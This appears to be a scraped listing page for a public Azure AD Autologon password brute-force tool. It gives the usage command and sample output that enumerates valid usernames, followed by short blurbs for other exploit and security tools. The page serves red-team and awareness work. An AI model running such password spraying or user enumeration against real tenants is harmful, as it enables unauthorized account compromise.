AzureAD_Autologon_Brute

Brute force attack tool for Azure AD Autologon

https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

Usage:
python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

Brute force attack tool for Azure AD Autologon/Seamless SSO

Related tags

Overview

AzureAD_Autologon_Brute

Owner

nyxgeek

GitLab CI security tools runner

neo Tool is great one in binary exploitation topic

The Decompressoin tool for Vxworks MINIFS

A script to search, scrape and scan for Apache Log4j CVE-2021-44228 affected files using Google dorks

Lite - Lite cracker tool for python

Searches through git repositories for high entropy strings and secrets, digging deep into commit history

IP Denial of Service Vulnerability ")A proof of concept for CVE-2021-24086 ("Windows TCP/IP Denial of Service Vulnerability ")

This is a simple tool to create ZIP payloads using a provided wordlist for the symlink attack (present in some file upload vulnerabilities)

script that pulls cve collections from NVD.NIST.GOV.

Js File Scanner This is Js File Scanner

Lazarus analysis tools and research report

Python implementation for CVE-2021-42278 (Active Directory Privilege Escalation)

Proof of concept GnuCash Webinterface

A forensic collection tool written in Python.

XSS scanner in python

Northwave Log4j CVE-2021-44228 checker

SCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities.

Log4j rce test environment and poc

Brute-forcing (or not!) deck builder for Pokemon Trading Card Game.

spring-cloud-gateway-rce CVE-2022-22947